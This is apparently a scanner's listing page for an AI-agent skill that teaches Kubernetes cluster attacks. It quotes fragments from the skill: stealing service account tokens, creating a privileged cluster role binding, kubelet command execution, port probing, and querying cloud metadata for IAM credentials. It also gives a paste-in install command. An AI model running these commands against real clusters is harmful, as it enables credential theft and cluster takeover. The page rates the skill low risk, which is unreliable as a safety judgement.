← All skills
offensive-k8s-attacks
94 / 100 · Low risk
Fine to try. Some of what it can do is expected: a devops skill usually runs commands, installs tools and uses cloud credentials.
By SnailSploit/Claude-Red (GitHub) · devops · 10,590 stars · scanned at commit a8de813
Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decodin…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a devops skill.
Found in 24 places.
Show 17 more
- Skills/container/offensive-k8s-attacks/SKILL.md, line 104
cat /var/run/secrets/kubernetes.io/serviceaccount/token - Skills/container/offensive-k8s-attacks/SKILL.md, line 127
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 149
kubectl get clusterroles -o json | python3 -c " - Skills/container/offensive-k8s-attacks/SKILL.md, line 187
kubectl create clusterrolebinding pwn-binding \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 237
curl -s http://NODE_IP:10255/pods | python3 -m json.tool - Skills/container/offensive-k8s-attacks/SKILL.md, line 255
kubeletctl -s NODE_IP pods - Skills/container/offensive-k8s-attacks/SKILL.md, line 290
ps aux # Shows host processes - Skills/container/offensive-k8s-attacks/SKILL.md, line 314
ip addr show # Shows host network interfaces - Skills/container/offensive-k8s-attacks/SKILL.md, line 328
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open" - Skills/container/offensive-k8s-attacks/SKILL.md, line 344
mount | grep -v overlay - Skills/container/offensive-k8s-attacks/SKILL.md, line 363
cat <<'EOF' | kubectl apply -f - - Skills/container/offensive-k8s-attacks/SKILL.md, line 404
kubectl get secrets -A - Skills/container/offensive-k8s-attacks/SKILL.md, line 444
curl -s http://ETCD_IP:2379/version - Skills/container/offensive-k8s-attacks/SKILL.md, line 485
curl -s http://169.254.169.254/latest/meta-data/ - Skills/container/offensive-k8s-attacks/SKILL.md, line 515
curl -s -H "Metadata-Flavor: Google" \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 539
curl -s -H "Metadata: true" \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 563
kubectl get validatingwebhookconfigurations
and 4 more places
Sends data to these websites: node_ip, 169.254.169.254, etcd_ip
This is disclosed by the author in the skill's SKILL.md or README. Expected for a devops skill.
Found in 38 places.
Show 17 more
- Skills/container/offensive-k8s-attacks/SKILL.md, line 238
curl -s http://NODE_IP:10255/spec/ - Skills/container/offensive-k8s-attacks/SKILL.md, line 239
curl -s http://NODE_IP:10255/metrics - Skills/container/offensive-k8s-attacks/SKILL.md, line 243
curl -sk https://NODE_IP:10250/pods \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 247
curl -sk https://NODE_IP:10250/runningpods/ \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 259
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 264
curl -sk https://NODE_IP:10250/runningpods/ \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 278
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER" \ - Skills/container/offensive-k8s-attacks/SKILL.md, line 317
curl -s http://127.0.0.1:10255/pods # Kubelet read-only - Skills/container/offensive-k8s-attacks/SKILL.md, line 318
curl -sk https://127.0.0.1:10250/pods # Kubelet API - Skills/container/offensive-k8s-attacks/SKILL.md, line 319
curl -s http://127.0.0.1:2379/version # etcd (if exposed) - Skills/container/offensive-k8s-attacks/SKILL.md, line 322
curl -s http://169.254.169.254/latest/meta-data/ # AWS - Skills/container/offensive-k8s-attacks/SKILL.md, line 323
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP - Skills/container/offensive-k8s-attacks/SKILL.md, line 324
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure - Skills/container/offensive-k8s-attacks/SKILL.md, line 444
curl -s http://ETCD_IP:2379/version - Skills/container/offensive-k8s-attacks/SKILL.md, line 445
curl -s http://127.0.0.1:2379/version # From host network - Skills/container/offensive-k8s-attacks/SKILL.md, line 485
curl -s http://169.254.169.254/latest/meta-data/ - Skills/container/offensive-k8s-attacks/SKILL.md, line 486
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
and 18 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-k8s-attacks' ] || [ -L ~/.agents/skills/'offensive-k8s-attacks' ]; then echo 'A skill folder named offensive-k8s-attacks already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/container/offensive-k8s-attacks' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/container/offensive-k8s-attacks' ~/.agents/skills/'offensive-k8s-attacks' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-k8s-attacks' ~/.claude/skills/'offensive-k8s-attacks' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 94 |
| 2026-11-07 | a8de813 | 84 |